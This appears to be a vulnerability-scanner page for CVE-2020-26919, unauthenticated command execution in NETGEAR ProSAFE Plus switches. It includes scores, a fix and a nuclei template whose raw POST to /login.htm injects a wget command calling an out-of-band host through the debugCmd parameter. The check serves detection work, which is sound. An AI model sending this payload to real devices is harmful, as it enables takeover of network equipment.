NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

57.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.

Fix

Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.

How to confirm it

Send: POST /login.htm
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-26919 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-26919

info:
  name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: NETGEAR ProSAFE Plus  before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26919
    - https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26919
    epss-score: 0.57468
    epss-percentile: 0.99086
    cpe: cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: jgs516pe_firmware
  tags: cve,cve2020,netgear,rce,oast,router,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        POST /login.htm HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

        submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from